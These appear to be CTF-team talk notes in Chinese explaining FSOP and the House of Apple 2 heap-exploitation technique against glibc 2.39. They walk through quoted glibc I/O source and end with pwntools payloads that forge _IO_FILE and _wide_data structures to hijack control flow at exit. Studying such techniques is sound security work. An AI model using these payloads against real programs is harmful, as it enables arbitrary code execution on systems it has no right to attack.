Vidar 分享会 - FSOP

I. FSOP

FSOP 是 File Stream Oriented Programming 的缩写。

FSOP 的核心思想就是劫持 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

II. RTFSC

下面我将以 glibc-2.39 源码为例,分析 FSOP 的一个实际应用 ---House of Apple (2)1 涉及的原理。

_IO_FILE

/libio/bits/types/struct_FILE.h 中有如下定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

使用 gdb,可以得到其成员的相对偏移:

img

Exit () 调用过程

__run_exit_handlers()

exit()/stdlib/exit.c 有定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pointer_guard.h>
#include <libc-lock.h>
#include <set-freeres.h>
#include "exit.h"

/* Initialize the flag that indicates exit function processing
is complete. See concurrency notes in stdlib/exit.h where
__exit_funcs_lock is declared. */
bool __exit_funcs_done = false;

/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
if (run_dtors)
call_function_static_weak (__call_tls_dtors);

__libc_lock_lock (__exit_funcs_lock);

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;

restart:
cur = *listp;

if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}

while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;

switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}

if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}

__libc_lock_unlock (__exit_funcs_lock);

if (run_list_atexit)
call_function_static_weak (_IO_cleanup);

_exit (status);
}


void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

_IO_cleanup()

__run_exit_handlers 中调用了_IO_cleanup,它在 /libio/genops.c 中有定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_cleanup (void)
{
int result = _IO_flush_all ();

/* We currently don't have a reliable mechanism for making sure that
C++ static destructors are executed in the correct order.
So it is possible that other static destructors might want to
write to cout - and they're supposed to be able to do so.

The following will make the standard streambufs be unbuffered,
which forces any output from late destructors to be written out. */
_IO_unbuffer_all ();

return result;
}

_IO_flush_all()

同样在这个文件中,可以找到_IO_flush_all:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int
_IO_flush_all (void)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
void
_cthreads_flockfile (FILE *fp)
{
_IO_lock_lock (*fp->_lock);
}

// ...

void _IO_flockfile (FILE *)
__attribute__ ((alias ("_cthreads_flockfile")));

// ...

_IO_FILE_plus/libio/stdfiles.c 有定义

主要关注这个函数中的判断条件,如果前面的条件满足,会进入_IO_OVERFLOW (fp, EOF),这是一个宏定义,位于 /libio/libioP.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Type of MEMBER in struct type TYPE.  */
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)

/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
violation in case THIS has a different pointer type. */
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
//...
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
//...
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void +*) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
//...
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
//...
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
//...
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) &__io_vtables;
if (__glibc_unlikely (offset >= IO_VTABLES_LEN))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

如果通过合法性检查,那么会执行_vtable->__overflow

1
2
3
4
5
6
7
8
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
//...
struct _IO_jump_t
{
//...
JUMP_FIELD(_IO_overflow_t, __overflow);
//...
}

这里__overflow_IO_jump_t vtable 中的虚函数,这是 GLIBC 中实现 I/O 多态的核心机制

vtable2

通过虚函数表(vtable)为不同类型的文件流(如文件、内存流、字符串流)提供统一的接口,同时允许不同流类型自定义底层操作(如读、写、缓冲区管理)。

我们可以在 /libio/vtables.c 中找到相关的定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const struct _IO_jump_t __io_vtables[] attribute_relro =
{
/* _IO_str_jumps */
[IO_STR_JUMPS] =
{
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_str_finish),
//...
},
[IO_WSTR_JUMPS] = {
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_wstr_finish),
//...
},
//...
}

也就是说,__overflow 实际是执行__io_vtables 中已定义的相关函数。如 finish,会根据不同 I/O 类型执行不同函数,例如 [IO_STR_JUMPS] 中指向_IO_str-finish[IO_WSTR_JUMPS] 中指向_IO_wstr_finish

III. House of Apple

在上一节中,我们知道在_IO_JUMPS_FUNC(THIS) 这个宏中验证了 const struct _IO_jump_t *vtable 是否是合法的:即它指向的地址是否在__io_vtables 的范围内。这也让我们不能通过直接伪造 vtable 来控制程序执行流。

然而,我们仍有机会修改 vtable 为不同的合法虚表。这导致了后续函数执行过程中存在可利用的漏洞。

构造_IO_FILE_plus

使用 House of Apple 的前提是 Large bin attack,它将一个堆地址写在任意地址处。

这里将 &_IO_list_all 处写可控堆地址,然后开始伪造_IO_FILE_plus

由于 Large bin attack 是把堆的头部 prev_size 地址写入,而一般我们只能从 fd 域开始编辑,所以下文的伪造会从 fd 开始。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fake_io = flat({
0x18:[
p64(1) # _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base]
],
0x60:[
p32(0) # _fileno
],
0x78:[
p64(_IO_stdfile_2_lock) # *_lock [_IO_flockfile (fp);]
],
0xb0:[
p32(0xFFFFFFFF) # _mode [fp->_mode <= 0]
]
})

_wide_data 调用链

尽管无法直接通过修改 vtable 控制执行流,但是_wide_data->_wide_vtable 在执行时缺少安全检查。

因此我们可以构造如下调用链,其中涉及到的方法和宏可自行查阅:

1
2
3
4
5
_IO_OVERFLOW (fp, EOF)->
(_IO_overflow_t) _IO_wfile_overflow->
_IO_wdoallocbuf (f)->
_IO_WDOALLOCATE (fp)->
Backdoor(fp) # fake vtable points at

构造_wide_data, _wide_vtable

为了使用上面的调用链,需要修改 *_wide_data 到我们伪造的_IO_wide_data

这里有一个巧妙的处理,我们可以将其指向之前伪造的_IO_FILE_plus 处,因为_IO_wide_data 中部分成员是与_IO_FILE 相同的。

然后在_wide_data->_wide_vtable 处写构造的 vtable 地址。

image-20250408193602020
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
_IO_stdfile_2_lock = libc_base + 0x205700 # find your offset in gdb
IO_file_addr = heap_base + 0x0d00
IO_wide_data_addr = IO_file_addr
wide_vtable_addr = file_addr + 0xe8-0x68

fake_io = flat({
0x18:[
p64(1) # _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base]
],
0x60:[
p32(0) # _fileno
],
0x78:[
p64(_IO_stdfile_2_lock) # *_lock [_IO_flockfile (fp);]
],
0x90:[
p64(IO_wide_data_addr) # *_wide_data
],
0xb0:[
p32(0xFFFFFFFF) # _mode [fp->_mode <= 0]
],
0xc8:[
p64(libc_base+libc.sym['_IO_wfile_jumps']) # vtable
],
0xd0:[
p64(wide_vtable_addr)
],
0xd8:[
p64(gadget)
]
})

这样,就控制了程序执行流,并且 $rdi = &fp

对于 House of Apple 的实践,您也可以阅读我的这篇文章:HGAME 2025 Week 2 Writeup

References


  1. 看雪:House of apple 一种新的 glibc 中 IO 攻击方法↩︎

  2. 看雪:Pwn 堆利用学习 —— FSOP、House of Orange↩︎